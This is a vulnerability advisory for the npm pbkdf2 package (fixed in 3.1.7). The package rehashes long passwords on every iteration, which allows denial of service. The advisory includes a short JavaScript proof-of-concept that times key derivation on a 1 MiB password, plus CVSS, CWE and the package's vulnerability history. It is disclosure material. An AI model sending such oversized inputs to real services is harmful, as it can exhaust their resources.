pbkdf2 rehashes long passwords on every iteration, enabling denial of service
Summary
This is the same bug as Django had (CVE-2013-1443).
Details
A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60
Also see https://github.com/browserify/pbkdf2/issues/82
PoC
The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true):
https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37
var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB
var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();
console.log("First took: " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);Impact
DoS
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | pbkdf2 | < 3.1.7 | 3.1.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-400- Platform
- npm
- Package
pbkdf2- Disclosed
- 06.10.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-477h-4r7f-fvrx - CC BY 4.0
Vulnerability history: pbkdf2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 06.2025 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- Medium 1
Disclosures per year
- 2025: 2
- 2026: 1
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pbkdf2 rehashes long passwords on every iteration, enabling denial of service this entry
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